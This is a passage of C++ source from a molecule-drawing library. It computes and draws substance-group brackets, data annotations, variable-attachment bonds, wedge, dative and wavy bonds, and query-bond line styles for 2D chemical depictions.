  // unlike brackets, we know how these point\n      Point2D startLoc = at_cds_[activeMolIdx_][bAts.first];\n      Point2D endLoc = at_cds_[activeMolIdx_][bAts.second];\n      auto vect = endLoc - startLoc;\n      auto offset = vect * crossingFrac;\n      auto crossingPt = startLoc + offset;\n      Point2D perp{vect.y, -vect.x};\n      perp *= lengthFrac;\n      Point2D p1 = crossingPt + perp / 2.;\n      Point2D p2 = crossingPt - perp / 2.;\n\n      std::vector<std::pair<Point2D, Point2D>> bondSegments;  // not needed here\n      MolDrawShape shp;\n      shp.points =\n          MolDraw2D_detail::getBracketPoints(p1, p2, startLoc, bondSegments);\n      shp.shapeType = MolDrawShapeType::Polyline;\n      post_shapes_[activeMolIdx_].emplace_back(std::move(shp));\n\n      if (p1.x > labelPt.x) {\n        labelPt = p1;\n        labelPerp = crossingPt - startLoc;\n      }\n      if (p2.x > labelPt.x) {\n        labelPt = p2;\n        labelPerp = crossingPt - startLoc;\n      }\n    }\n\n    // the label\n    if (supportsAnnotations()) {\n      std::string label =\n          (boost::format(\"(%d-%d)\") % node.minRep % node.maxRep).str();\n      StringRect rect;\n      Point2D perp = labelPerp;\n      perp /= perp.length() * 5;\n      rect.trans_ = labelPt + perp;\n      AnnotationType annot;\n      annot.text_ = label;\n      annot.rect_ = rect;\n      annot.align_ = TextAlignType::START;\n      annotations_[activeMolIdx_].push_back(annot);\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::extractBrackets(const ROMol &mol) {\n  PRECONDITION(activeMolIdx_ >= 0, \"no mol id\");\n  PRECONDITION(static_cast<int>(post_shapes_.size()) > activeMolIdx_,\n               \"no space\");\n  PRECONDITION(static_cast<int>(annotations_.size()) > activeMolIdx_,\n               \"no space\");\n  auto &sgs = getSubstanceGroups(mol);\n  if (sgs.empty()) {\n    return;\n  }\n  // details of this transformation are in extractAtomCoords\n  double rot = -drawOptions().rotate * M_PI / 180.0;\n  RDGeom::Transform2D trans;\n  trans.SetTransform(Point2D(0.0, 0.0), rot);\n  for (auto &sg : sgs) {\n    if (sg.getBrackets().empty()) {\n      continue;\n    }\n    // figure out the location of the reference point we'll use to figure out\n    // which direction the bracket points\n    // Thanks to John Mayfield for the thoughts on the best way to do this:\n    //   http://efficientbits.blogspot.com/2015/11/bringing-molfile-sgroups-to-cdk.html\n    Point2D refPt{0., 0.};\n    if (!sg.getAtoms().empty()) {\n      // use the average position of the atoms in the sgroup\n      for (auto aidx : sg.getAtoms()) {\n        refPt += at_cds_[activeMolIdx_][aidx];\n      }\n      refPt /= sg.getAtoms().size();\n    }\n\n    std::vector<std::pair<Point2D, Point2D>> sgBondSegments;\n    for (auto bndIdx : sg.getBonds()) {\n      const auto bnd = mol.getBondWithIdx(bndIdx);\n      if (std::find(sg.getAtoms().begin(), sg.getAtoms().end(),\n                    bnd->getBeginAtomIdx()) != sg.getAtoms().end()) {\n        sgBondSegments.push_back(\n            std::make_pair(at_cds_[activeMolIdx_][bnd->getBeginAtomIdx()],\n                           at_cds_[activeMolIdx_][bnd->getEndAtomIdx()]));\n\n      } else if (std::find(sg.getAtoms().begin(), sg.getAtoms().end(),\n                           bnd->getEndAtomIdx()) != sg.getAtoms().end()) {\n        sgBondSegments.push_back(\n            std::make_pair(at_cds_[activeMolIdx_][bnd->getEndAtomIdx()],\n                           at_cds_[activeMolIdx_][bnd->getBeginAtomIdx()]));\n      }\n    }\n    for (const auto &brk : sg.getBrackets()) {\n      Point2D p1{brk[0]};\n      Point2D p2{brk[1]};\n      trans.TransformPoint(p1);\n      trans.TransformPoint(p2);\n      MolDrawShape shp;\n      shp.points =\n          MolDraw2D_detail::getBracketPoints(p1, p2, refPt, sgBondSegments);\n      shp.shapeType = MolDrawShapeType::Polyline;\n      post_shapes_[activeMolIdx_].emplace_back(std::move(shp));\n    }\n    if (supportsAnnotations()) {\n      // FIX: we could imagine changing this to always show the annotations on\n      // the right-most (or bottom-most) bracket\n\n      std::string connect;\n      if (sg.getPropIfPresent(\"CONNECT\", connect)) {\n        // annotations go on the last bracket of an sgroup\n        const auto &brkShp = post_shapes_[activeMolIdx_].back();\n        StringRect rect;\n        // CONNECT goes at the top\n        auto topPt = brkShp.points[1];\n        auto brkPt = brkShp.points[0];\n        if (brkShp.points[2].y > topPt.y) {\n          topPt = brkShp.points[2];\n          brkPt = brkShp.points[3];\n        }\n        rect.trans_ = topPt + (topPt - brkPt);\n        AnnotationType annot;\n        annot.text_ = connect;\n        annot.rect_ = rect;\n        // if we're to the right of the bracket, we need to left justify,\n        // otherwise things seem to work as is\n        if (brkPt.x < topPt.x) {\n          annot.align_ = TextAlignType::START;\n        }\n        annotations_[activeMolIdx_].push_back(annot);\n      }\n      std::string label;\n      if (sg.getPropIfPresent(\"LABEL\", label)) {\n        // annotations go on the last bracket of an sgroup\n        const auto &brkShp = post_shapes_[activeMolIdx_].back();\n        StringRect rect;\n        // LABEL goes at the bottom\n        auto botPt = brkShp.points[2];\n        auto brkPt = brkShp.points[3];\n        if (brkShp.points[1].y < botPt.y) {\n          botPt = brkShp.points[1];\n          brkPt = brkShp.points[0];\n        }\n        rect.trans_ = botPt + (botPt - brkPt);\n        AnnotationType annot;\n        annot.text_ = label;\n        annot.rect_ = rect;\n        annotations_[activeMolIdx_].push_back(annot);\n      }\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::extractSGroupData(const ROMol &mol) {\n  PRECONDITION(activeMolIdx_ >= 0, \"no mol id\");\n  PRECONDITION(static_cast<int>(annotations_.size()) > activeMolIdx_,\n               \"no space\");\n\n  if (!supportsAnnotations()) {\n    return;\n  }\n  auto &sgs = getSubstanceGroups(mol);\n  if (sgs.empty()) {\n    return;\n  }\n\n  // details of this transformation are in extractAtomCoords\n  double rot = -drawOptions().rotate * M_PI / 180.0;\n  RDGeom::Transform2D tform;\n  tform.SetTransform(Point2D(0.0, 0.0), rot);\n\n  for (const auto &sg : sgs) {\n    std::string typ;\n    if (sg.getPropIfPresent(\"TYPE\", typ) && typ == \"DAT\") {\n      std::string text;\n      // it seems like we should be rendering FIELDNAME, but\n      // Marvin Sketch, Biovia Draw, and ChemDraw don't do it\n      // if (sg.getPropIfPresent(\"FIELDNAME\", text)) {\n      //   text += \"=\";\n      // };\n      if (sg.hasProp(\"DATAFIELDS\")) {\n        STR_VECT dfs = sg.getProp<STR_VECT>(\"DATAFIELDS\");\n        for (const auto &df : dfs) {\n          text += df + \"|\";\n        }\n        text.pop_back();\n      }\n      if (text.empty()) {\n        continue;\n      }\n      int atomIdx = -1;\n      if (!sg.getAtoms().empty()) {\n        atomIdx = sg.getAtoms()[0];\n      };\n      StringRect rect;\n      bool located = false;\n      std::string fieldDisp;\n      if (sg.getPropIfPresent(\"FIELDDISP\", fieldDisp)) {\n        double xp = FileParserUtils::stripSpacesAndCast<double>(\n            fieldDisp.substr(0, 10));\n        double yp = FileParserUtils::stripSpacesAndCast<double>(\n            fieldDisp.substr(10, 10));\n        Point2D origLoc{xp, yp};\n\n        if (fieldDisp[25] == 'R') {\n          if (atomIdx < 0) {\n            // we will warn about this below\n            text = \"\";\n          } else if (fabs(xp) > 1e-3 || fabs(yp) > 1e-3) {\n            origLoc += mol.getConformer().getAtomPos(atomIdx);\n            located = true;\n          }\n        } else {\n          if (mol.hasProp(\"_centroidx\")) {\n            Point2D centroid;\n            mol.getProp(\"_centroidx\", centroid.x);\n            mol.getProp(\"_centroidy\", centroid.y);\n            origLoc += centroid;\n          }\n          located = true;\n        }\n        tform.TransformPoint(origLoc);\n        rect.trans_ = origLoc;\n      }\n\n      if (!text.empty()) {\n        AnnotationType annot;\n        annot.text_ = text;\n        // looks like everybody renders these left justified\n        annot.align_ = TextAlignType::START;\n        if (!located) {\n          if (atomIdx >= 0 && !text.empty()) {\n            calcAnnotationPosition(mol, mol.getAtomWithIdx(atomIdx), annot);\n          }\n        } else {\n          annot.rect_ = rect;\n        }\n        annotations_[activeMolIdx_].push_back(annot);\n      } else {\n        BOOST_LOG(rdWarningLog)\n            << \"FIELDDISP info not found for DAT SGroup which isn't \"\n               \"associated with an atom. SGroup will not be rendered.\"\n            << std::endl;\n      }\n    }\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::extractVariableBonds(const ROMol &mol) {\n  PRECONDITION(activeMolIdx_ >= 0, \"no mol id\");\n  PRECONDITION(static_cast<int>(pre_shapes_.size()) > activeMolIdx_,\n               \"no space\");\n  PRECONDITION(static_cast<int>(annotations_.size()) > activeMolIdx_,\n               \"no space\");\n\n  boost::dynamic_bitset<> atomsInvolved(mol.getNumAtoms());\n  for (const auto bond : mol.bonds()) {\n    std::string endpts;\n    std::string attach;\n    if (bond->getPropIfPresent(common_properties::_MolFileBondEndPts, endpts) &&\n        bond->getPropIfPresent(common_properties::_MolFileBondAttach, attach)) {\n      // FIX: maybe distinguish between \"ANY\" and \"ALL\" values of attach here?\n      std::vector<unsigned int> oats =\n          RDKit::SGroupParsing::ParseV3000Array<unsigned int>(endpts);\n      atomsInvolved.reset();\n      // decrement the indices and do error checking:\n      for (auto &oat : oats) {\n        if (oat == 0 || oat > mol.getNumAtoms()) {\n          throw ValueErrorException(\"Bad variation point index\");\n        }\n        --oat;\n        atomsInvolved.set(oat);\n        MolDrawShape shp;\n        shp.shapeType = MolDrawShapeType::Ellipse;\n        shp.lineWidth = 1;\n        shp.lineColour = drawOptions().variableAttachmentColour;\n        shp.fill = true;\n        auto center = at_cds_[activeMolIdx_][oat];\n        Point2D offset{drawOptions().variableAtomRadius,\n                       drawOptions().variableAtomRadius};\n        shp.points = {center + offset, center - offset};\n        pre_shapes_[activeMolIdx_].emplace_back(std::move(shp));\n      }\n\n      for (const auto bond : mol.bonds()) {\n        if (atomsInvolved[bond->getBeginAtomIdx()] &&\n            atomsInvolved[bond->getEndAtomIdx()]) {\n          MolDrawShape shp;\n          shp.shapeType = MolDrawShapeType::Polyline;\n          shp.lineWidth =\n              lineWidth() * drawOptions().variableBondWidthMultiplier;\n          shp.scaleLineWidth = true;\n          shp.lineColour = drawOptions().variableAttachmentColour;\n          shp.fill = false;\n          shp.points = {at_cds_[activeMolIdx_][bond->getBeginAtomIdx()],\n                        at_cds_[activeMolIdx_][bond->getEndAtomIdx()]};\n          pre_shapes_[activeMolIdx_].emplace_back(std::move(shp));\n        }\n      }\n      // correct the symbol of the end atom (remove the *):\n      if (!bond->getBeginAtom()->getAtomicNum()) {\n        atom_syms_[activeMolIdx_][bond->getBeginAtomIdx()] =\n            std::make_pair(\"\", OrientType::C);\n      }\n    }\n  }\n}\n\nnamespace {\nconst DashPattern noDash;\nconst DashPattern dots = assign::list_of(2)(6);\nconst DashPattern dashes = assign::list_of(6)(6);\nconst DashPattern shortDashes = assign::list_of(2)(2);\n\n// ****************************************************************************\nvoid drawWedgedBond(MolDraw2D &d2d, const Bond &bond, bool inverted,\n                    const Point2D &cds1, const Point2D &cds2, bool draw_dashed,\n                    const DrawColour &col1, const DrawColour &col2) {\n  if (!d2d.drawOptions().splitBonds) {\n    if (inverted) {\n      d2d.setActiveAtmIdx(bond.getEndAtomIdx(), bond.getBeginAtomIdx());\n    } else {\n      d2d.setActiveAtmIdx(bond.getBeginAtomIdx(), bond.getEndAtomIdx());\n    }\n  }\n\n  Point2D perp = calcPerpendicular(cds1, cds2);\n  Point2D disp = perp * 0.15;\n  // make sure the displacement isn't too large using the current scale factor\n  // (part of github #985)\n  // the constants are empirical to make sure that the wedge is visible, but\n  // not absurdly large.\n  if (d2d.scale() > 40) {\n    disp *= .6;\n  }\n  Point2D end1 = cds2 + disp;\n  Point2D end2 = cds2 - disp;\n\n  d2d.setColour(col1);\n  if (draw_dashed) {\n    d2d.setFillPolys(false);\n\n    unsigned int nDashes;\n    // empirical cutoff to make sure we don't have too many dashes in the\n    // wedge:\n    auto factor = d2d.scale() * (cds1 - cds2).lengthSq();\n    if (factor < 20) {\n      nDashes = 3;\n    } else if (factor < 30) {\n      nDashes = 4;\n    } else if (factor < 45) {\n      nDashes = 5;\n    } else {\n      nDashes = 6;\n    }\n\n    int orig_lw = d2d.lineWidth();\n    int tgt_lw = 1;  // use the minimum line width\n    d2d.setLineWidth(tgt_lw);\n\n    if (d2d.drawOptions().splitBonds) {\n      d2d.setActiveAtmIdx(inverted ? bond.getEndAtomIdx()\n                                   : bond.getBeginAtomIdx());\n    }\n    Point2D e1 = end1 - cds1;\n    Point2D e2 = end2 - cds1;\n    for (unsigned int i = 1; i < nDashes + 1; ++i) {\n      if ((nDashes / 2 + 1) == i) {\n        d2d.setColour(col2);\n        if (d2d.drawOptions().splitBonds) {\n          d2d.setActiveAtmIdx(inverted ? bond.getBeginAtomIdx()\n                                       : bond.getEndAtomIdx());\n        }\n      }\n      Point2D e11 = cds1 + e1 * (rdcast<double>(i) / nDashes);\n      Point2D e22 = cds1 + e2 * (rdcast<double>(i) / nDashes);\n      if (d2d.drawOptions().comicMode) {\n        auto pts = MolDraw2D_detail::handdrawnLine(e11, e22, d2d.scale());\n        d2d.drawPolygon(pts);\n      } else {\n        d2d.drawLine(e11, e22);\n      }\n    }\n    d2d.setLineWidth(orig_lw);\n  } else {\n    d2d.setFillPolys(true);\n    if (col1 == col2 && !d2d.drawOptions().splitBonds) {\n      d2d.drawTriangle(cds1, end1, end2);\n    } else {\n      if (d2d.drawOptions().splitBonds) {\n        d2d.setActiveAtmIdx(inverted ? bond.getEndAtomIdx()\n                                     : bond.getBeginAtomIdx());\n      }\n      Point2D e1 = end1 - cds1;\n      Point2D e2 = end2 - cds1;\n      Point2D mid1 = cds1 + e1 * 0.5;\n      Point2D mid2 = cds1 + e2 * 0.5;\n      d2d.drawTriangle(cds1, mid1, mid2);\n      if (d2d.drawOptions().splitBonds) {\n        d2d.setActiveAtmIdx(inverted ? bond.getBeginAtomIdx()\n                                     : bond.getEndAtomIdx());\n      }\n      d2d.setColour(col2);\n      d2d.drawTriangle(mid1, end2, end1);\n      d2d.drawTriangle(mid1, mid2, end2);\n    }\n  }\n  d2d.setActiveAtmIdx();\n}\n\n// ****************************************************************************\nvoid drawDativeBond(MolDraw2D &d2d, const Bond &bond, const Point2D &cds1,\n                    const Point2D &cds2, const DrawColour &col1,\n                    const DrawColour &col2) {\n  if (!d2d.drawOptions().splitBonds) {\n    d2d.setActiveAtmIdx(bond.getBeginAtomIdx(), bond.getEndAtomIdx());\n  } else {\n    d2d.setActiveAtmIdx(bond.getBeginAtomIdx());\n  }\n\n  Point2D mid = (cds1 + cds2) * 0.5;\n  d2d.drawLine(cds1, mid, col1, col1);\n\n  if (d2d.drawOptions().splitBonds) {\n    d2d.setActiveAtmIdx(bond.getEndAtomIdx());\n  }\n  d2d.setColour(col2);\n  bool asPolygon = true;\n  double frac = 0.2;\n  double angle = M_PI / 6;\n  // the polygon triangle at the end extends past cds2, so step back a bit\n  // so as not to trample on anything else.\n  Point2D delta = mid - cds2;\n  Point2D end = cds2 + delta * frac;\n  d2d.drawArrow(mid, end, asPolygon, frac, angle);\n  d2d.setActiveAtmIdx();\n}\n\nvoid drawBondLine(MolDraw2D &d2d, const Bond &bond, const Point2D &cds1,\n                  const Point2D &cds2, const DrawColour &col1,\n                  const DrawColour &col2, bool clearAIdx = true) {\n  if (!d2d.drawOptions().splitBonds) {\n    d2d.setActiveAtmIdx(bond.getBeginAtomIdx(), bond.getEndAtomIdx());\n    d2d.drawLine(cds1, cds2, col1, col2);\n    if (clearAIdx) {\n      d2d.setActiveAtmIdx();\n    }\n    return;\n  }\n  Point2D mid = (cds1 + cds2) * 0.5;\n  d2d.setActiveAtmIdx(bond.getBeginAtomIdx());\n  d2d.drawLine(cds1, mid, col1, col1);\n  d2d.setActiveAtmIdx(bond.getEndAtomIdx());\n  d2d.drawLine(mid, cds2, col2, col2);\n  if (clearAIdx) {\n    d2d.setActiveAtmIdx();\n  }\n}\n\nvoid drawBondLine(MolDraw2D &d2d, const Bond &bond, const Point2D &cds1,\n                  const Point2D &cds2, bool clearAIdx = true) {\n  if (!d2d.drawOptions().splitBonds) {\n    d2d.drawLine(cds1, cds2);\n    if (clearAIdx) {\n      d2d.setActiveAtmIdx();\n    }\n    return;\n  }\n  const auto midp = (cds1 + cds2) / 2;\n  d2d.setActiveAtmIdx(bond.getBeginAtomIdx());\n  d2d.drawLine(cds1, midp);\n  d2d.setActiveAtmIdx(bond.getEndAtomIdx());\n  d2d.drawLine(midp, cds2);\n  if (clearAIdx) {\n    d2d.setActiveAtmIdx();\n  }\n}\n\nvoid drawBondWavyLine(MolDraw2D &d2d, const Bond &bond, const Point2D &cds1,\n                      const Point2D &cds2, const DrawColour &col1,\n                      const DrawColour &col2) {\n  // as splitting wavy line might cause rendering problems\n  // do not split and flag wavy bond with both atoms\n  d2d.setActiveAtmIdx(bond.getBeginAtomIdx(), bond.getEndAtomIdx());\n  d2d.drawWavyLine(cds1, cds2, col1, col2);\n  d2d.setActiveAtmIdx();\n}\n\nvoid drawNormalBond(MolDraw2D &d2d, const Bond &bond, bool highlight_bond,\n                    Point2D at1_cds, Point2D at2_cds,\n                    const std::vector<Point2D> &at_cds, DrawColour col1,\n                    DrawColour col2, double double_bond_offset) {\n  auto bt = bond.getBondType();\n  auto &mol = bond.getOwningMol();\n  // it's a double bond and one end is 1-connected, do two lines parallel\n  // to the atom-atom line.\n  if (bt == Bond::DOUBLE || bt == Bond::AROMATIC) {\n    Point2D l1s, l1f, l2s, l2f;\n    calcDoubleBondLines(mol, double_bond_offset, bond, at1_cds, at2_cds, at_cds,\n                        l1s, l1f, l2s, l2f);\n    bool orig_slw = d2d.drawOptions().scaleBondWidth;\n    if (highlight_bond) {\n      d2d.drawOptions().scaleBondWidth =\n          d2d.drawOptions().scaleHighlightBondWidth;\n    }\n    drawBondLine(d2d, bond, l1s, l1f, col1, col2);\n    if (bt == Bond::AROMATIC) {\n      d2d.setDash(dashes);\n    }\n    drawBondLine(d2d, bond, l2s, l2f, col1, col2);\n    if (bt == Bond::AROMATIC) {\n      d2d.setDash(noDash);\n    }\n    d2d.drawOptions().scaleBondWidth = orig_slw;\n  } else if (Bond::SINGLE == bt && (Bond::BEGINWEDGE == bond.getBondDir() ||\n                                    Bond::BEGINDASH == bond.getBondDir())) {\n    // swap the direction if at1 has does not have stereochem set\n    // or if at2 does have stereochem set and the bond starts there\n    auto at1 = bond.getBeginAtom();\n    auto at2 = bond.getEndAtom();\n    auto inverted = false;\n    if ((at1->getChiralTag() != Atom::CHI_TETRAHEDRAL_CW &&\n         at1->getChiralTag() != Atom::CHI_TETRAHEDRAL_CCW) ||\n        (at1->getIdx() != bond.getBeginAtomIdx() &&\n         (at2->getChiralTag() == Atom::CHI_TETRAHEDRAL_CW ||\n          at2->getChiralTag() == Atom::CHI_TETRAHEDRAL_CCW))) {\n      // std::cerr << \"  swap\" << std::endl;\n      swap(at1_cds, at2_cds);\n      swap(col1, col2);\n      inverted = true;\n    }\n    if (d2d.drawOptions().singleColourWedgeBonds) {\n      col1 = d2d.drawOptions().symbolColour;\n      col2 = d2d.drawOptions().symbolColour;\n    }\n    // deliberately not scaling highlighted bond width\n    if (Bond::BEGINWEDGE == bond.getBondDir()) {\n      drawWedgedBond(d2d, bond, inverted, at1_cds, at2_cds, false, col1, col2);\n    } else {\n      drawWedgedBond(d2d, bond, inverted, at1_cds, at2_cds, true, col1, col2);\n    }\n  } else if (Bond::SINGLE == bt && Bond::UNKNOWN == bond.getBondDir()) {\n    // unspecified stereo\n    // deliberately not scaling highlighted bond width\n    drawBondWavyLine(d2d, bond, at1_cds, at2_cds, col1, col2);\n  } else if (Bond::DATIVE == bt || Bond::DATIVEL == bt || Bond::DATIVER == bt) {\n    // deliberately not scaling highlighted bond width as I think\n    // the arrowhead will look ugly.\n    drawDativeBond(d2d, bond, at1_cds, at2_cds, col1, col2);\n  } else if (Bond::ZERO == bt) {\n    d2d.setDash(shortDashes);\n    bool orig_slw = d2d.drawOptions().scaleBondWidth;\n    if (highlight_bond) {\n      d2d.drawOptions().scaleBondWidth =\n          d2d.drawOptions().scaleHighlightBondWidth;\n    }\n    drawBondLine(d2d, bond, at1_cds, at2_cds, col1, col2);\n    d2d.drawOptions().scaleBondWidth = orig_slw;\n    d2d.setDash(noDash);\n  } else if (Bond::HYDROGEN == bt) {\n    d2d.setDash(dots);\n    bool orig_slw = d2d.drawOptions().scaleBondWidth;\n    if (highlight_bond) {\n      d2d.drawOptions().scaleBondWidth =\n          d2d.drawOptions().scaleHighlightBondWidth;\n    }\n    drawBondLine(d2d, bond, at1_cds, at2_cds, DrawColour(0.2, 0.2, 0.2),\n                 DrawColour(0.2, 0.2, 0.2));\n    d2d.drawOptions().scaleBondWidth = orig_slw;\n    d2d.setDash(noDash);\n  } else {\n    // in all other cases, we will definitely want to draw a line between\n    // the two atoms\n    bool orig_slw = d2d.drawOptions().scaleBondWidth;\n    if (highlight_bond) {\n      d2d.drawOptions().scaleBondWidth =\n          d2d.drawOptions().scaleHighlightBondWidth;\n    }\n    drawBondLine(d2d, bond, at1_cds, at2_cds, col1, col2);\n    if (Bond::TRIPLE == bt) {\n      Point2D l1s, l1f, l2s, l2f;\n      calcTripleBondLines(double_bond_offset, bond, at1_cds, at2_cds, l1s, l1f,\n                          l2s, l2f);\n      drawBondLine(d2d, bond, l1s, l1f, col1, col2);\n      drawBondLine(d2d, bond, l2s, l2f, col1, col2);\n    }\n    d2d.drawOptions().scaleBondWidth = orig_slw;\n  }\n}\n\nvoid drawQueryBond1(MolDraw2D &d2d, const Bond &bond, bool highlight_bond,\n                    const Point2D &at1_cds, const Point2D &at2_cds,\n                    const std::vector<Point2D> &at_cds, const DrawColour &col1,\n                    const DrawColour &col2, double double_bond_offset) {\n  PRECONDITION(bond.hasQuery(), \"no query\");\n  const auto qry = bond.getQuery();\n  if (!d2d.drawOptions().splitBonds) {\n    d2d.setActiveAtmIdx(bond.getBeginAtomIdx(), bond.getEndAtomIdx());\n  }\n  auto midp = (at2_cds + at1_cds) / 2.;\n  auto dv = at2_cds - at1_cds;\n  auto p1 = at1_cds + dv * (1. / 3.);\n  auto p2 = at1_cds + dv * (2. / 3.);\n  auto tdash = shortDashes;\n  if (d2d.scale() < 10) {\n    tdash[0] /= 4;\n    tdash[1] /= 3;\n  } else if (d2d.scale() < 20) {\n    tdash[0] /= 2;\n    tdash[1] /= 1.5;\n  }\n  if (qry->getDescription() == \"SingleOrDoubleBond\") {\n    if (d2d.drawOptions().splitBonds) {\n      d2d.setActiveAtmIdx(bond.getBeginAtomIdx());\n    }\n    {\n      Point2D l1s, l1f, l2s, l2f;\n      calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond,\n                          at1_cds, p1, at_cds, l1s, l1f, l2s, l2f);\n      d2d.setColour(col1);\n      d2d.drawLine(l1s, l1f);\n      d2d.drawLine(l2s, l2f);\n    }\n    drawBondLine(d2d, bond, p1, p2, col1, col2, false);\n    {\n      Point2D l1s, l1f, l2s, l2f;\n      calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond, p2,\n                          at2_cds, at_cds, l1s, l1f, l2s, l2f);\n      d2d.setColour(col2);\n      d2d.drawLine(l1s, l1f);\n      d2d.drawLine(l2s, l2f);\n    }\n  } else if (qry->getDescription() == \"SingleOrAromaticBond\") {\n    if (d2d.drawOptions().splitBonds) {\n      d2d.setActiveAtmIdx(bond.getBeginAtomIdx());\n    }\n    {\n      Point2D l1s, l1f, l2s, l2f;\n      calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond,\n                          at1_cds, p1, at_cds, l1s, l1f, l2s, l2f);\n      d2d.setColour(col1);\n      d2d.drawLine(l1s, l1f);\n      d2d.setDash(tdash);\n      d2d.drawLine(l2s, l2f);\n      d2d.setDash(noDash);\n    }\n    drawBondLine(d2d, bond, p1, p2, col1, col2, false);\n    {\n      Point2D l1s, l1f, l2s, l2f;\n      calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond, p2,\n                          at2_cds, at_cds, l1s, l1f, l2s, l2f);\n      d2d.setColour(col2);\n      d2d.drawLine(l1s, l1f);\n      d2d.setDash(tdash);\n      d2d.drawLine(l2s, l2f);\n      d2d.setDash(noDash);\n    }\n  } else if (qry->getDescription() == \"DoubleOrAromaticBond\") {\n    if (d2d.drawOptions().splitBonds) {\n      d2d.setActiveAtmIdx(bond.getBeginAtomIdx());\n    }\n    {\n      Point2D l1s, l1f, l2s, l2f;\n      calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond,\n                          at1_cds, p1, at_cds, l1s, l1f, l2s, l2f);\n      d2d.setColour(col1);\n      d2d.drawLine(l1s, l1f);\n      d2d.setDash(tdash);\n      d2d.drawLine(l2s, l2f);\n      d2d.setDash(noDash);\n    }\n    if (d2d.drawOptions().splitBonds) {\n      {\n        Point2D l1s, l1f, l2s, l2f;\n        calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond, p1,\n                            midp, at_cds, l1s, l1f, l2s, l2f);\n        d2d.setColour(col1);\n        d2d.drawLine(l1s, l1f, col1, col2);\n        d2d.drawLine(l2s, l2f, col1, col2);\n        d2d.setDash(noDash);\n      }\n      d2d.setActiveAtmIdx(bond.getEndAtomIdx());\n      {\n        Point2D l1s, l1f, l2s, l2f;\n        calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond, midp,\n                            p2, at_cds, l1s, l1f, l2s, l2f);\n        d2d.setColour(col1);\n        d2d.drawLine(l1s, l1f, col1, col2);\n        d2d.drawLine(l2s, l2f, col1, col2);\n        d2d.setDash(noDash);\n      }\n    } else {\n      Point2D l1s, l1f, l2s, l2f;\n      calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond, p1, p2,\n                          at_cds, l1s, l1f, l2s, l2f);\n      d2d.setColour(col1);\n      d2d.drawLine(l1s, l1f, col1, col2);\n      d2d.drawLine(l2s, l2f, col1, col2);\n      d2d.setDash(noDash);\n    }\n    {\n      Point2D l1s, l1f, l2s, l2f;\n      calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond, p2,\n                          at2_cds, at_cds, l1s, l1f, l2s, l2f);\n      d2d.setColour(col2);\n      d2d.drawLine(l1s, l1f);\n      d2d.setDash(tdash);\n      d2d.drawLine(l2s, l2f);\n      d2d.setDash(noDash);\n    }\n  } else if (qry->getDescription() == \"BondNull\") {\n    d2d.setDash(tdash);\n    bool orig_slw = d2d.drawOptions().scaleBondWidth;\n    if (highlight_bond) {\n      d2d.drawOptions().scaleBondWidth =\n          d2d.drawOptions().scaleHighlightBondWidth;\n    }\n    drawBondLine(d2d, bond, at1_cds, at2_cds, col1, col2, false);\n    d2d.drawOptions().scaleBondWidth = orig_slw;\n    d2d.setDash(noDash);\n  } else {\n    d2d.setDash(dots);\n    bool orig_slw = d2d.drawOptions().scaleBondWidth;\n    if (highlight_bond) {\n      d2d.drawOptions().scaleBondWidth =\n          d2d.drawOptions().scaleHighlightBondWidth;\n    }\n    drawBondLine(d2d, bond, at1_cds, at2_cds, col1, col2, false);\n    d2d.drawOptions().scaleBondWidth = orig_slw;\n    d2d.setDash(noDash);\n  }\n  d2d.setActiveAtmIdx();\n}\n\nvoid drawQueryBond(MolDraw2D &d2d, const Bond &bond, bool highlight_bond,\n                   const Point2D &at1_cds, const Point2D &at2_cds,\n                   const std::vector<Point2D> &at_cds,\n                   double double_bond_offset) {\n  PRECONDITION(bond.hasQuery(), \"no query\");\n  const auto qry = bond.getQuery();\n  if (!d2d.drawOptions().splitBonds) {\n    d2d.setActiveAtmIdx(bond.getBeginAtomIdx(), bond.getEndAtomIdx());\n  }\n  auto midp = (at2_cds + at1_cds) / 2.;\n  auto tdash = shortDashes;\n  if (d2d.scale() < 10) {\n    tdash[0] /= 4;\n    tdash[1] /= 3;\n  } else if (d2d.scale() < 20) {\n    tdash[0] /= 2;\n    tdash[1] /= 1.5;\n  }\n  DrawColour queryColour{0.5, 0.5, 0.5};\n  d2d.setColour(queryColour);\n\n  bool drawGenericQuery = false;\n  if (qry->getDescription() == \"SingleOrDoubleBond\") {\n    if (d2d.drawOptions().splitBonds) {\n      d2d.setActiveAtmIdx(bond.getBeginAtomIdx());\n    }\n    d2d.drawLine(at1_cds, midp);\n    if (d2d.drawOptions().splitBonds) {\n      d2d.setActiveAtmIdx(bond.getEndAtomIdx());\n    }\n    {\n      Point2D l1s, l1f, l2s, l2f;\n      calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond, midp,\n                          at2_cds, at_cds, l1s, l1f, l2s, l2f);\n      d2d.drawLine(l1s, l1f);\n      d2d.drawLine(l2s, l2f);\n    }\n  } else if (qry->getDescription() == \"SingleOrAromaticBond\") {\n    if (d2d.drawOptions().splitBonds) {\n      d2d.setActiveAtmIdx(bond.getBeginAtomIdx());\n    }\n    d2d.drawLine(at1_cds, midp);\n    if (d2d.drawOptions().splitBonds) {\n      d2d.setActiveAtmIdx(bond.getEndAtomIdx());\n    }\n    {\n      Point2D l1s, l1f, l2s, l2f;\n      calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond, midp,\n                          at2_cds, at_cds, l1s, l1f, l2s, l2f);\n      d2d.drawLine(l1s, l1f);\n      d2d.setDash(tdash);\n      d2d.drawLine(l2s, l2f);\n      d2d.setDash(noDash);\n    }\n  } else if (qry->getDescription() == \"DoubleOrAromaticBond\") {\n    if (d2d.drawOptions().splitBonds) {\n      d2d.setActiveAtmIdx(bond.getBeginAtomIdx());\n    }\n    {\n      Point2D l1s, l1f, l2s, l2f;\n      calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond,\n                          at1_cds, midp, at_cds, l1s, l1f, l2s, l2f);\n      d2d.drawLine(l1s, l1f);\n      d2d.drawLine(l2s, l2f);\n    }\n    if (d2d.drawOptions().splitBonds) 